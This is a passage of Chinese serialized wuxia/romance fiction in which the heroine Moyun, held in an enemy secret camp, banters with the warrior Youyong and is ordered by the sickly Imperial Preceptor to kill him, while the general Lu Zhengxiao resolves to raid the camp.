看着从穰大街上那熙熙攘攘的人群，原来任战争如何残酷，民众依然过着最平常的日子，也期盼着这份踏实的生计。还来不及感叹，茉云便被集市中的食街完全吸引了，烧饼，羊肉串、手抓饭还有香气四溢的羊杂汤，她顿感奈何只有一个胃，不然对于诸多美食怎可厚此薄彼。
茉云闻着羊肉香，便在一大锅咕噜翻滚的羊肉汤面前走不动道了，那汤面上漂浮着光泽的油花，散发着羊肉浓香，摊主正捞出煮得软烂入味的羊肉，大块置于面碗之上，再娴熟的撒上大把葱花和香菜，茉云立马坐下，大声用西南部落的方言，点了碗加肉的羊肉面，不一会儿，摊主热情的端了上来，她看向这碗盖满羊肉的面，她愣了半刻又感动了半刻。
而此时一壮硕的臂膀伸到桌上筷筒里拿了一双筷子，用当地话点了一碗羊肉面，在她身边坐下。
“不吃？”幽戎古铜色的皮肤，在太阳的光芒下，更透出一种阳刚的魅力，他眼角微微挑起，用那墨如曜石般的双眸看向茉云。
茉云顿时一脸坦诚的歉意望向幽戎说：“我心中很是愧疚！”
幽戎用手臂微微撑着头，凌乱的乌发自然的散落下来，那敞开的衣领让其刚劲的锁骨显现出来，粗犷中又带着温和，边晒着太阳边等茉云将话说完。
“我曾经居然想团灭这些如此朴实无华，善良可爱的人们！”茉云拿起筷子尝了一口顿觉温暖弥漫了整个胃，将暗营的阴冷寒湿一扫而光，她惊叹的说道，“我自己都不能原谅我自己！”
幽戎顷刻间被逗笑了，刚刚在暗营会谈之时的所有不快，烟消云散。而这畅快的笑容为他的狂放不羁的又填了一份无拘无束。
“我们峑戎人，说不上善良，但爽快实在，你给得起价钱，他就舍得放肉，说盖满就盖满，没那么多虚的。”
“说得好像我们那儿人都是玩虚的？这不哪儿都有好有坏，我们那儿有个太师，听说过吧！”
“还算熟！”幽戎邪魅一笑说，此时老板端上了面给幽戎，幽戎拿过面也吃了豪放的吃了起来。
“那狗太师就是你们那麻雀的加老、加大和加肥版！”
幽戎顿时爽朗的笑了，差点被自己呛到：“国师跟那太师不一样，你们那狗太师眼里只有自己，没有其他，可利己而亡天下，可国师眼中只有国，连自己姓名都舍了！”
茉云咧嘴一笑吃着面说：“没想到你还有这大度的优点，要知道在以前我混的地，政见不同，那就如杀夫仇人般，你死我活！”
幽戎没有言语吃了几口面，望向茉云问：“我还有何优点？”
茉云抬眉望向幽戎浓密的眉毛下那双深邃的眼睛，流露出一种原始的野性，似乎能穿透一切虚伪和伪装，直达人的内心深处。
“威猛，帅气，能吃！”茉云笑笑吃着面想着，“只是这大度真不知是优点亦或缺点，反正我很难跟弄死我队友之人同桌吃饭，除非吃个面我都能吓死他！”
幽戎又邪魅一笑说道：“峑戎对死亡的定义跟你们不一样，出去执行任务的人从没有一刻畏惧死亡，因为殉国是光荣的，全家老小都能受人们的尊重。”
茉云瞥了幽戎一眼埋头继续吃面，不经意的说道：“这等可悲之事有何值得笑，这不过是对血脉亲情的最无耻的裹挟，就像我哥一直觉得他可以活在泥沼中永无翻身之日，可他的弟弟妹妹一定要过得好，他蠢是他的事，可是利用他这种愚蠢的人，当万劫不复！”
幽戎愣了半刻又望向她，茉云说话语气依旧风轻云淡，可她握着筷子的手爆出了青筋。
“你并不是可被国师洗脑之人！”茉云顿时抬头望向幽戎质问道，似乎在质问他何以说出这等无稽之言。
幽戎瞬间反问：“卢正啸在你们朝廷难道想如何如何？”
“人脑子错乱之时骂那群老家伙是疯猴，你骂过那死麻雀？”
“我幼时给他起的外号便是蹩脚鸡！”
茉云顿时笑得前俯后仰，幽戎亦豪迈而畅快的笑了，笑声中带着他特有的野性，野性中韵出一丝孩童般的纯真和坦荡。
此时在不远处有双深棕如琥珀般清澈而明亮的眼睛，一直注视着他们，吃完面幽戎带茉云逛着集市，人群之中一辆庄重而精致的马车经过，两匹马鬃毛乌黑发亮，精神抖擞，马车车厢的两侧刻有精美的花纹，边角处还雕刻着峑戎的尊贵纹饰，处处都显示着车主的不凡身份。
随着马车经过之时，茉云以迅雷不及掩耳之势，顺手就拔出幽戎之剑，跳上马车，一剑便拨开了车帘，剑尖直指车中之人，把那精壮而严肃的车夫惊得马上拉马拔剑。
而茉云定睛望去，自己亦愣了半刻，车中女子一头乌黑亮丽的长发如瀑布垂下，只是一根镶着祖母绿的银簪随意的束着半缕，额边垂下几缕发丝随风轻轻摇曳，身穿精美的峑戎尊贵纹饰的长袍，她抬目望向茉
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云，眼如草原深夜中的星辰，璀璨而有神，眉宇中透出了一股坚毅和刚强，亦散发出不容忽视的自信。
“美女，为何一路瞪着我！”茉云则顷刻眼神变得温和，话语中有些嬉皮笑脸的语气问道。
那女子望向茉云之后望向幽戎，眼角微微上扬，眼波流转，忽如一泓秋水，可依旧缄默不言，而此时的沉默被赶来的厄戎怒斥声打破：“怎得如此无礼，敢剑指长公主！”
说 完他瞪向幽戎，幽戎则无语且随意的拉下茉云说道：“长公主，误会。”
“定然是误会！长公主，幽戎疑我是探子，我吃面他都要来盯着我，这种人真是啊！不知道如何形容！”茉云满脸抱怨，但又觉不对，又瞬间化为坦诚的微笑，“就是忠臣！”
厄戎愣了半刻亦被逗笑了，幽戎亦无语的望向茉云。
长公主亦没有再说什么，抬手让人放下车帘，马车前行，茉云不禁转头望向马车，她便是关外闻名的长公主，峑戎族人心中的明月，那位集美丽和勇敢的于一身的传奇。
厄戎瞪向幽戎和茉云，指着他两正欲责怪他两如此犯上。
“你顷刻拔我剑，我没反应过来。”
“我一个脸上便写着靠不住的人，拔你剑没有反应过来？骗谁呢？你就老实承认吧，是不是想借长公主的手杀我，堂堂七尺男儿，能不能敢作敢当一点。”
幽戎的嘴角微微上扬，露出一丝带着不羁和意味深长的笑容望向茉云：“你们那儿有句诗怎么说，我本将心向明月，奈何……”
“明月你个头！之前未见峑戎长公主之时也罢，今日一见，她美若晨曦又坚若利刃，温柔且具力量，你瞎了眼？还是……”茉云顿时转身剑指幽戎说道，“你是不是有断袖之癖，其实心系那卢正啸，难怪当日下不了手？”
“什么玩意？”幽戎那抹邪魅的笑容也瞬间被茉云整得化为无语了，厄戎不知为何顿时亦粲然而笑，幽戎自小便是异类，总叫人觉匪夷所思，现在又出现一人，比他脑子有恙更甚。
“哎，你虽亦有几分容颜，但是确实不及关若辰，那日你呆愣在原地，想必也是看见了，他宁死也要护全于他，不是他不够朋友，是你不够格！”茉云一副苦口婆心的样子拍拍幽戎的肩膀。
“是吗？他在意关若辰吗？”幽戎的眼神忽然闪过一丝深邃和难以琢磨，仿佛藏着一片看不见的暗涌，“那日我忽然察觉他身中毒戎之寒毒？你可知？”
茉云顷刻望向幽戎的双眼：“寒毒立刻会死吗？”
“不会，以他之内力，撑个十年应无妨？”
茉云的眼神顷刻如鹰隼般锐利，给人一股莫名的压迫感：“那便好，你们说的那句亡卢正啸，必方茉云，怎可不实现？”
幽戎脸上总是挂着若有若无的微笑，邪魅却不达眼底。彼此谈笑间都暗中衡量着每一句话的分量，让人分不清是善意还是试探。相互间唯一清楚的便是，他们都置身于这盘大棋，都是被精心布局中的一枚棋子，不知的是——谁先吃掉谁？
121.疯狂
夜深之时，边关沉浸在一片静谧之中，天空如泼墨般深邃，月朗星稀，清辉洒满大营，正啸却还未能入眠，他走出营帐望向旷野，向西南遥望而去，这夜的静谧却浸染不了自己的心，心中一直在翻腾。
他也不能骗自己，就是她狠绝的剑尖刺向自己心脏的那一刻，即便心已麻木，亦还是无法相信，她最终陌路成仇。可如今顾将军之事却让自己有了千丝万缕的猜测，所有猜想到底是自欺欺人还是什么，他无从知道。她如今真是做到了，让自己如此惶恐……
因为正啸自知这不是该有的情绪，他从幼时起，便无谈自我，他的想法，他的感受哪怕他的心，都不重要，因为卢家独子必须一生为公，他没有以私费公的资格，只有在这夜深人静的半夜时分，可允许他有个短暂的自我，遥望朗月，他唯愿这一切都只是梦，是一场会醒来的噩梦。
所以他下定了决心，无论谁也阻挡不了自己，暗营——这个自幼便笼罩在自己身边的噩梦，不管是圣上还是父帅，都曾禁止自己前往，可自己现在一定要去了，管它是龙潭虎穴还是万丈深渊，他都定要去灭了暗营，还有将她找到！
自己是曾不止一次让她远离，哪怕此生形同陌路亦好，最好她一生远离庙堂逍遥自在，可若发生了这一切不是噩梦，那自己断然不能眼睁睁看她成魔，不能让她余生为恶，更不能让她孤身沉沦……
他转身回营帐之中，便提笔写下了两封信，一封写给罗虎，让他尽快确认暗营之大概方位，一封写给关若辰，信中未提及半分顾将军之事，只写让他回京帮自己先稳住，并告知了关若辰，自己打算出关灭暗营。
第二日若辰收到了沧海亲自送来的信，看完顿时握紧了信望向沧海迟疑了半刻之后，他将信在烛火边点燃烧尽，然后眼神笃定的说：“有劳沧海将军，转达我口信给你们大将军，说我回京定竭尽全力为南境稳住朝堂局势，让他无论如何保重自己。”
“好！末将定代为转达！”沧海抱拳行礼之后，未休息半刻，即刻准备回营，此时一直在关府养伤的万莫跑了出来，他伤势还未痊愈，走路还有些蹒跚。
“沧海，少主还好否？”
“能骑马否？”
万莫憨憨的怔了半刻，望向沧海点点头。
沧海大手一挥说：“那便上马，随我回营，你自己看。”
何友本想还让万莫留下休整些日子，他毕竟是捡回了条性命，最终被若辰拦住了。沧海便带着万莫回了边关大营，路上沧海特意放慢了行程，可挡不住万莫归心似箭，回到了大营正啸看见万莫回来，双眉才稍微松开了些，晚上用膳之时，正啸带着执礼、谢青还有几个将军陪元帅用膳，饭菜端上来案几之时，他便将碗中的肉都夹到万莫碗中。
元帅也起身端着碗将碗里的肉都拨给了万莫，万莫吃惊的看着马上伸手要拦。
“元帅，您在养伤。”千山马上跪下说道。
“我一把老骨头死不了，孩子还在长身体，听话，坐着吃！”元帅没好气的继续坐下吃着饭，“你们都吃你们的，我年纪大了，吃多了消化不来！”
正啸望向元帅，没有任何迟疑的忽然说道：“父帅，我打算带兵突击剿灭暗营！”
元帅顿时扒着饭的手停住了，那饱经风霜，都是风沙刀刻般痕迹的脸，顿时显出了错愕。
“不然父帅认为我如何带回震北哥，或着您觉得震北哥还能孤身一人在暗营扛多久？”
元帅浓密而灰白剑眉下，那双炯炯有神的眼睛顿时散现了一丝暗淡，他不能不救震北，可也不想正啸如此涉险：“圣上都曾与老夫说，切莫任你因年轻气盛，行疯狂之举……”
“圣上说的话多了，依圣上所言，我最好日日养在宫门口，他手一招便能见到，那便是不疯狂！”
“休得胡言乱语！你就是被圣上和你舅给惯坏的！”此时的元帅一改平日里威严而不苟言笑的模样，就像一个老父亲骂自己不成器的儿子，但那深邃的眼神中流露出的温情，是他对自己血亲儿子深深的爱护。
众人都伏低头吃饭，执礼亦无语的望向正啸，他平日里便是沉稳严峻，威震全军的大将军，唯独在元帅面前之时，才会时有这般的“冥顽不灵”！
“你什么行军方略！”卢帅深吸一口气又问道，声音有些沙哑低沉。
“找到暗营，灭了暗营！”
“我等于白问，那方茉云呢？”卢帅此话一出的气势骤然一变，顿时语气变得坚毅而锋锐。
“抓来按罪伏法！”此刻正啸的眼神中未有一丝迟疑。
卢帅继续没好气的伏低头吃着饭说：“你啊，自小就想跑去剿灭暗营。”
“嗯，奈何都不让！”正啸直言不讳的回道。
执礼无语望向正啸，马上转圜道：“少主，那是圣上和元帅都顾及您的安危。”
卢帅顿时指着西南方向忿然骂道“去谢谢那方茉云，我们都不让，她又成全了你！”
顿时众人都放下了手中的碗筷，跪了下来，而正啸则依旧是一脸的桀骜不驯，沉默不言。
“吃饭，跪什么跪，跟着你们将军去，都跟我完成任务安全跟着将军回！”
“是！”
执礼等人长长松了口气，元帅终于还是允准了正啸去暗营，此时是最好的时机，同时也是不得不去之时了。
夜里卢帅将正啸唤入营帐之中，他在简陋的木案上摊开行军地图，用粗糙而有力的手指，沿着关外的山川河流缓缓滑过，跟正啸说着每一个关隘，每一处天然要塞的特点。
那都是他熟悉的，曾跟随他的父帅追击峑戎的战场。有些地方正啸也未曾去过，当他目光停留在某处之时，眼中似乎映射出往日的烽火硝烟和无数兄弟舍生忘死的场景，而如今自己儿子要带军深入了。
可当他看见正啸望向峑戎之地，双眼锐利如鹰迸射出坚毅的光芒，卢帅顷刻亦觉得欣慰，他的儿子是肩负着边关未来之人。只有真正经过百炼成钢的历练，才能成长为真正的边关帅才，守护这片多灾多难的土地。
此时在暗营之中，看起来在韬光养晦等待谋杀卢正啸时机的茉云，又过起了她那闲云野鹤，醉生梦死的日子，晚上她大快朵颐之后回到院中，看见小腾坐在烛光之下看书，眼前摆着一筐果子。
“这什么？”茉云坐下望向那篮看起来不怎么样的果子，呈现出一种青红不接的颜色，带着些许粗糙的斑点和不规则的小皱纹，摸起来还生硬，表皮就透着一种未完全成熟的酸涩感。
小腾亦扒着观察到：“不知！”
“哪来的？”
“那个叫做幽戎叔叔亲自拿来的，也不知道能不能吃！”
茉云拿过一果子在袖子上擦擦，扔到自己口里，然后双眉微颤说道：“这玩意不能吃，你千万别吃！”
小腾若有所思的望向茉云，也迅速拿了一个擦擦然后咬了一口，表皮微微的酸涩只在舌尖上一闪而过，而果子的甜汁便瞬间迸出，浓郁的果香在口中绽放，柔嫩多汁的果肉，细腻中带着一丝清脆的口感，让整个唇齿间盈满难以言喻的甘甜。
茉云看向小腾那瞪向自己忿然的表情乐了，边吃边喜笑颜开的说：“诶，到底长大了，不好骗了！”
小腾没好气的咬着果子不咸不淡的说道：“近朱者赤，近墨者黑，谢谢姑姑自小的磨砺！”
“以后幽戎亲自拿来
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的东西，吃便是了！”
“他值得信任？”
茉云大口的咬着果子说：“不是，他这人特别心高气傲，不屑于用下毒谋害小孩这些卑劣的手段！”
“那他为何跟姑姑做朋友！”
茉云用沾满了果汁手指着小腾没好气说：“谁说他是我朋友，不对，我怎么了我？”
“姑姑，你并不卑劣，但是卑劣的手段，你常用！”
茉云顷刻灿然大笑说道；“你小子还挺了解我的，这下让我有点后悔了，不该让你来当人质的，应该让我二哥来！”
小腾满脸忿然的瞪着茉云，可是他思虑着，又意味深长的叹了一口气，以超乎他这个年龄的语气说道：“姑姑，可以不杀卢叔叔吗？”
“你这般惋惜他什么！”茉云又拿起一个果子不经意的咬着说。
“我虽然也年纪不大，可是也遇到了很多人，有的恶人加害我们，践踏我们，就像那些抓我爹的人，有的好人同情我们，保护我们，就像宋爷爷和他夫人，可卢叔叔他教我的是，自己读书明理，自己习武强生，寻条正道去过好自己这一生。他说的话总让我觉得我并不可怜，也不卑微，我可以活得特别带劲。"
茉云咬着果子无语心想，特别带劲？这天下怕是活得比大老鹰更憋屈的人也少吧？这家伙，平日里总缄默不言，怎么就这么喜欢对咱家人说教，此时她又想起了那日在中州府衙房顶撒酒，结果卢正啸在屋檐下缅怀先人被溅了一身，想着当日情形茉云便又乐得不行，那日卢正啸忿然跟自己说，方茉云，人成魔不关你事，你管好自己这辈子别成魔就行……
她回忆着=并没有应小腾，只是自顾自的往兜里揣了几个果子，便转身往自己房里走去！
小腾望向茉云的背影亦没有再追问，小声嘟囔道：“哼，我还真不信你下得去手！”
茉云回到了自己房中，她不能放任自己的思绪，她必须要时刻保持清醒，她闭上了眼睛让自己顷刻冷静下来，分析着这几日丝丝缕缕。
原来最几年峑戎还算消停安静，京城暗营折损，边城大败等等，他们都没有马上反击，只因老峑戎主也年纪大了，虽康健，但是继承人之位悬而未决，这样征战而抗争的民族首领，培养的出来的孩子自然是个个骁勇善战，个个也不可一世，对外征战自然是一把好手，回家内斗亦是你死我活。
峑戎国主是何其能耐之人，壮年之时定也压得住，可是日渐年迈，再加上所谋划之事节节败退，敌方南关防御又日渐稳固，内忧外患之时，是不得不立一个接班人。
而这状况，虽然自己之前不知，可卢正啸定然知道，峑戎内乱之时便是最好的瓦解之时，等峑戎大定，那对于南境来说定是浩劫，不是苦战，就是在对手的阴谋诡计中挣扎。
说起这国主的心思……当日自己在京城，那是长了见识的，朝廷说是一团和气，可是朝臣的站队，可谓是明面里的昭然若揭，暗地里的防不胜防。圣上日日说着仁德，实际却挺欣赏朝臣的争斗，他那套相互制衡之术可谓是出神入化，这便是他们所说帝王之术吧。
而这位英明神武的峑戎之主，一贯这么觊觎中原，不可能没有读过中原史书，亦不可能没研习过帝王之术，不过是自信的笃定，自己定比唐高宗等能耐，压得住一众王子和能臣，想到此时，茉云的眼中闪过一丝狠戾的阴寒，那若是奸臣呢？
自古这能耐的忠臣和英雄再闹腾，哪怕是一身傲骨，也逃不过要忠君王，敬春秋，效天下，而能耐的奸臣和枭雄呢？皆疯狂！
茉云仰头望向那窄小的高窗，嘴角上扬轻笑着想起了一句诗，轻轻吟道：“忽有狂魔夜魔刀，帝星飘摇荧惑高。”
122.点火
在一片寂静的黎明前，远处戈壁的天边泛起鱼肚白，远处的大漠风沙好似在悄然偃息。茉云来到了山顶凝视着远方，金光渐渐俯照大地，暗营也尽收眼底。
早在攻破愉极之时，自己就曾疑惑过那群家伙何以这般能耐挖山开洞，将一切隐于无形，当日就该联想到的，原来密营隐藏在这边绿洲的山林深处，周围层峦叠嶂，山林茂密。
此处有绝佳的天然屏障，易守难攻，外人几乎无法找到入口，入密营的小径曲折蜿蜒，沿途布满暗哨和陷阱，处处藏着杀机。哪怕人能进入其中，密营山谷内部也是多个小型院落和暗道组成，与周围的山林融为一体，暗道中还有无数暗格和暗门，又通往不同的密道，整个密营纵横交错，错综复杂，犹如一座迷宫，方便暗营中人随时隐蔽、撤离或击溃来人。真是设计得即阴险狡诈又巧夺天工。
山风拂过她鬓角的发丝，茉云深吸一口气，顷刻嘴角荡起了自嘲的笑意，苦笑自己自小便是这般好运，总选择跟一群猪队友同行，对手一个个不是万般能耐就是狠辣智慧，怎么看怎么像跟自己一伙的。
忽然一声清亮而悠长鸣叫声划破天际，那声音有着一种原始的野性和无畏的气魄，瞬间将整个清晨的寂静打破，穿透苍穹，是鹰！
茉云抬头仰望而去，远处鹰的身影在天空中显得格外矫健，翅膀的每一次振动都蕴藏着无穷的力量。他沐浴在戈壁的烈日和狂风之中，带着一种与生俱来的威严与不屈，让绿洲中的一切生命都好似在屏息凝视着天空中的王者，连茉云都情不自禁的追逐而去。
“身法不错。”
此声传来，茉云停住脚步转身望去，幽戎站在阳光下，五官显得愈发深邃立体，高挺的鼻梁，锋利的眉毛，上扬的嘴角，勾勒出一张俊朗而充满野性的面孔，依旧挂着那抹邪魅的笑容
茉云心中当然明了他为何在此，他也确实不愧为一个了得的对手，没有一刻疏忽过自己的存在，茉云笑着随意的抬手指向天际说：“看，鹰！”
“喜欢鹰？”
“我幼时在部落学的箭法！”
幽戎望向苍穹，西南各个部落猎手对鹰都确实有崇拜的情绪。
茉云则轻轻深吸一口气，任内心如何向往，她也只能在心中握紧了双拳，压制着这份澎湃，是苍天让鹰翱翔到自己所见的天际吗？看不到星空却看到了鹰……
不论心中如何汹涌，茉云又恢复了风轻云淡的神情：“你也有早起练剑的习惯？”
“今早天气不错！”
“练练？”
还未等幽戎回应，茉云化剑便来，幽戎只得拔剑相迎，两剑在空中相交，铛的一声清脆的银芒交鸣声在山林间回荡，火花四溅。幽戎的长剑威武有力，茉云的短剑轻巧锋利，剑锋交错的刹那，两股截然不同的剑气在空气中碰撞。
茉云显然不是那种点到即指的泛泛剑者，即便切磋之时，她出剑亦快如闪电，剑芒带着柔韧和千变万化，仿佛银龙舞动，剑锋所指之处，寒光如霜，冷冽异常。逼得幽戎只能出了真招，他的剑法刚猛凌厉，剑势如奔雷闪电，剑风呼啸，好似能斩断空灵，两人剑气在林中风卷残云般的，卷起了周遭的树叶。
幽戎剑势猛然一变，剑锋直指茉云，快如山崩。茉云身形一转，翩若惊鸿，借助身旁的一棵雪松，轻巧地跃起，躲过锋芒，同时迅速转身，来不及反手一剑，她便借助雪松之力，反弹而来直接脚踢了过去，幽戎见状只得闪身躲避，却顷刻间嘴角微扬被逗笑了。
茉云又借力一跃而起，轻飘飘落在一旁的巨石上，还未等幽戎喘息片刻，剑芒又如流星划破长空而来，若不是他亦身法超群，剑定然划破了他的衣裳。
顿时山林之巅，剑光纵横，劲风呼啸。每一次的碰撞都激得山林间的飞鸟惊起，落叶飞舞。直到数百招之后，幽戎才逼停了茉云的剑，两人目光交汇之时，剑风卷席的树叶落下，落英缤纷散落漫空。
幽戎笑容如同狂风中的火焰，看向茉云眼中透出掩盖不住的欣赏，不知是赞赏这身手还是什么……
茉云却毫无察觉的收剑嬉皮笑脸的说：“想请不如偶遇，去镇上请吃个早饭吧！”
远处有人凝视他两离去的背影，那如一泓秋水的双眼，眼睫轻颤，似乎带着一种苦楚与深情，峑戎的长公主又怎么会不知，幽戎自幼便是狂野不羁，喜欢那自由奔放的灵魂。可她又如何能做到呢？
在长公主的身后的远处，又有一双毒蛇般的眼睛，往日皆是锐利如刀深藏算计，此刻却流露出令人意外的神情，眼眸透出深邃和复杂，既有着一种渴望和思念，又藏着难以名状的苦涩与无奈，瞬间他便不像那个运筹帷幄只手遮天的权臣了。
茉云自是毫无遮拦且失礼的大快朵颐，吃饱喝足之时还诓了幽戎让自己再打包了一份羊肉回来给小腾吃。
小腾咬着羊排担忧的望向茉云说：“姑姑，你要当心！”
茉云则顷刻乐了，撕了一块羊肉放嘴里说：“羊肉居然好吃到让你小子良心发现了？”
“不是，今早你跟那幽戎打斗之时，我正好去找你，我发现有个女的死死盯着你，而那个国师则狠狠盯着那女的！”
茉云望向小腾捧腹大笑说：“完了，我大哥有可能要绝后，你小子估计以后娶不到老婆！什么叫死死和狠狠盯着，那叫含情脉脉！”
“什么默默？”
茉云笑得前俯后仰，良久后抬目望向窗外却若有所思，自己过往再卑劣也未曾想过利用人的这份情感，可此时此地什么都不可能阻止自己。
那只翱翔天际的鹰好似瞬间给了自己无穷的力量，苍天总不随人愿，自己已失去了那么多来到此地，她从未做过还能活着回去的打算，更从未做过再放他们去南境为恶的打算。
自己凝视深渊这半生，周遭漆黑之处，只能靠那非凡的直觉，茉云早已察觉到此处的暗潮涌动和他们心里的剑拔弩张。他们各自支持的肯定是不同的王子，那便最好，这是亘古万年来最不可能和光同尘的缘由。不是你死就是我亡，自己怎能不添把柴，去点燃他们心里的火呢，也许都不用自己点，都会有人拿着火把找上门。
天黑之事，茉云带着小腾去丛穰镇上喝了羊杂汤回暗营，暗营的哨兵皆是身着夜行衣，目光警惕如隼，潜伏在暗处，手中的弩箭上弦，一旦发现异样，便会迅速攻击。
发现是茉云他们毫无表情的打开了通道，当茉云从他们眼前经过之时，他们眼神中才露出一丝寒意，但是顷刻又消散了，这儿的人服从是天性。
茉云则处之泰然的在这暗营来来去去，浑然好像感受不到这密营阴森而鬼魅的氛围。此时空中传来了一阵浓郁的酒香，茉云将小腾送回了房里，便寻着酒香而去，果然是幽戎。
他一手握着青瓷酒杯，另一只手执着一坛烈酒。月光洒在他手中的酒杯中，微微泛起一道清冷的光辉。他的双眸此时显得幽深而黯淡，仿佛藏着许多说不出的言语和挥不去的哀愁。
茉云叹息这走向前去，拿起了一支青瓷酒杯倒着酒。
“站那儿站那么久？”
“别看你一脸和风悦色，你怕是这暗营中对我来说最危险的人，大晚上的……奈何这酒香太诱人。”茉云笑笑端起酒杯一饮而尽，顿时双眉微蹙，这烈酒如火灼烧划过喉咙，“痛快！”
而幽戎表情依旧严峻，哪怕酒劲袭来，但那醉醺感很快便被他克制的冷峻掩盖。此时，他的目光变得更加深沉，像是穿透了夜幕，看见了命运的棋局和一段无
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法改变的未来。两人便是这么沉默的枯坐在此，你一杯我一杯的喝尽了壶中烈酒。
茉云起身准备回房，走出几步忽而转身忍无可忍的指着幽戎说道：“去娶了长公主，实现你的人生理想，带领信赖你的人去博一个未来吧！做人怎得什么都想要啊，要顶天立地，要建功立业，要父慈子孝，要兄弟同心，要情投意合，还要悲天悯人，你没看过史书，就去找个说书先生听听吧，自古谁做到了啊！”
幽戎抬目望向茉云，黑发在夜风中凌乱，更增添了一丝不羁的气质。
“脑子有病！怨妇！”茉云指着幽戎骂道，骂完一溜烟的就回房了，幽戎无语望向她消失在夜色中的背影，瞬间又嘴角微扬邪魅而笑，不知为何，突然不觉得自己再是那个月下独酌、心藏悲愤的孤独人。可他马上打破了自己思绪，望向另一支青瓷酒杯，奈何自己绝不能被她蛊惑，不能留……
翌日清晨，茉云起来便捂着头，那该死的幽戎不会真在酒里下药吧，她走出房门愣了半刻，看见国师坐在她屋外的石凳上，石凳上还垫着虎皮毛毡，她此刻只有一个想法，是不是送火把的来了？
茉云坦然走过去坐下，白天里近看国师，他的脸颊略微凹陷，眼窝深邃，脸庞无一丝血色，更显病弱的姿态。可他分明在用强大的意志力和气势来弥补身体的不足，整个人依然给人一种不容轻视的压迫感，可这不更耗费心神吗？
“早！”茉云望向国师，她也不知道他这长久的沉默是为故作高深还是什么，但是这家伙铁定不是来请自己吃早饭的。
“怕死吗？”国师缓缓的望向茉云，他说话的声音不大，却沙哑中透着几分冷漠尖刻，语气缓慢而平稳，却让人听得总觉不寒而栗。
“不怎么怕！不白白送掉就行。”
“这是那毒药的解药。”国师拿出一个小药罐放置在石桌上。
“你要我干什么？”
国师眼中闪过一丝笑意，茉云望向国师，他这病弱的身体并没有让他失去对所有的掌控，相反，他在用这种虚弱的外表掩饰内心的狠毒和冷漠。
“明日去杀一个，也想要你命之人！”说着国师咳嗽起来，他拿出丝巾掩住嘴角，可眼睛依旧死死盯着茉云。
“你要我杀幽戎？”
国师的眼神顷刻扫射而来，茉云却依旧一脸的处之泰然。
“明日……暂时我也去不了别的地，此处您和幽戎最想我死，您也不像那种会找个人杀自己的人！”
“我喜欢跟聪明人说话，知道我为什么让你杀？”他嘴角挂着的这丝若有若无的笑意，更让人视之胆寒，却只有方茉云这等人对一切妖魔鬼怪好似都有免疫一般。
“因为你若杀了幽戎，日后查出来，长公主不会放过你，我杀幽戎合情合理，怪不上您。”
国师苍白而看似温文尔雅脸上，流露出一丝阴鸷的寒光，茉云则心想这家伙真够道貌岸然，刚还说喜欢跟聪明人说话，自己稍微戳穿他一点，他就想将我碎尸万段。
“单打独斗我未必杀得了幽戎，你得给我制造机会！”
“那你为何愿意？”
茉云顷刻间亦露出了狠戾的眼神说：“因为我也没得选择，而且正好啊！”
此时国师脸上的神情又恢复了似笑非笑的阴冷，茉云知道这就是他最满意的答案，因为他最喜欢也是最安心的就是——人没得选择。
国师顿时又用手绢捂着嘴咳嗽起来，茉云冷冷望向他那咳得微微颤抖的肩膀，他每日每夜也许都在被这病痛折磨，但同样他也日复一日布置陷阱设计别人，是不是看见人皆受尽折磨，他会好受点……
那些活在深渊的人，最终将成为深渊，难怪当日他说，自己能爬出来便是幸运的！
123.玩命
清晨的阳光泻下，带着远处大漠孤烟的苍凉，也饱含着高原绿洲阳光的温暖。而国师好似畏惧这阳光一般起身离去，清瘦的身影穿着宽大的玄服更显单薄，似乎风一吹就能将其卷走。
茉云看向桌上那瓶解药，这货是有多自信啊，是想告诉自己，哪怕是解了毒，也逃不出他的五指山。想着茉云将药服下后，自嘲的笑了，人这也不是自命不凡啊，人确实对这暗营的一草一木有绝对的掌控，自己哪怕是三头六臂也逃不出去。
可峑戎没有用自己去杀卢正啸，先用自己杀幽戎，可见这世上的大事，都是溃于内。茉云打了盆水洗把脸，想让自己清醒一点，可是看着盆中倒影的自己又乐了，世人如何这般看得起自己，这些牛逼之人，自己搞不定的人，都觉得我能帮忙？
茉云笑着又瞬间陷入了沉思，那国师身子虽已摧枯拉朽，心智却坚如磐石，人更是有毁天灭地的狠绝和能耐，却会被这么个事绊住手脚，可见人无欲则刚，无情定全局……
这几日依旧是悠闲度日的茉云，这日清晨忽然有人来请，说国师请她入暗营总坛，这是暗营中自己唯一不能自由进出之地，也就是那该死的一丝阳光都照不进的山里，真不想去，奈何人家都把火把点了送来，不接也不好意思。
茉云被带入到一暗室，走入便听见了旁边室内国师已是声嘶力竭的声音。
“峑戎之存亡，非凭一时激愤或所谓情怀，民心浮动，何以依赖。唯有严密的控制，掌握民心，方能驱使全族服从号令，绝无二心。如今南境边关驻立，敌方战事逼近，唯有举全族之力，孤注一掷，方能一击而胜。若各怀心思，依靠那虚无缥缈的情怀，终将导致兵败如山倒！”说完便传来国师阵阵的咳嗽声。
茉云通过门关的缝隙望向大堂，只能看到堂下国师和幽戎似乎在激辩。
幽戎却双目如炬气势如虹，他大步上前声如洪钟的说：“殿下！治国当以以民为本，战场更是如此！将士为谁而战？不是为某些人的欲望和私利，也不是为一纸命令！他们为的是守护家园，为峑戎全族博一个未来的信念。若单凭强制和控制，只会让人心浮动，战意消沉。”
茉云挑眉看着，如此唇枪舌战和剑拔弩张之时，周遭之人全都屏息而伏低头，茉云则被逗笑了，国师和幽戎并肩而战，好似鹌鹑站在大雕旁，这也不能怪人长公主吧？
“唯有鼓舞士气，唤醒他们心中信念，才能凝聚军心战胜强敌！一个心怀家国的战士，远比一个被迫参战的无心之人强！”
国师冷笑着眼中含着深深的轻蔑：“将军此言，未免过于天真！战场如棋局，人心最不可捉摸。若全凭所谓的信念，如何保证他们不在生死关头动摇？只有严密的控制，方能确保人心如铁士兵如刀，军令一出万人视死如归，只有这样才能赢得天下。”
幽戎毫不退让反驳道：“殿下，战争不仅是兵力的比拼，更是人心的较量！信念才是最强的武器，远胜于被裹挟的命令。将士若心甘情愿去全族而战，战场上必定无所畏惧。那峑戎定是民心稳固，中原指日可破！”
“双管齐下，以策万全，有何不可？”此时大堂堂上传来了一个粗壮而随意的声音。
茉云轻轻移动了位置，透过缝隙看清了堂上局势，长公主都坐在一侧，正中之人应该地位比她更为显贵，他身形伟岸虎背熊腰，看他面容应该是常年驰骋沙场，故而风霜也留下了深深的痕迹。他眉宇间带着一股狂傲的气息，丝毫没将堂下之人放在眼里。
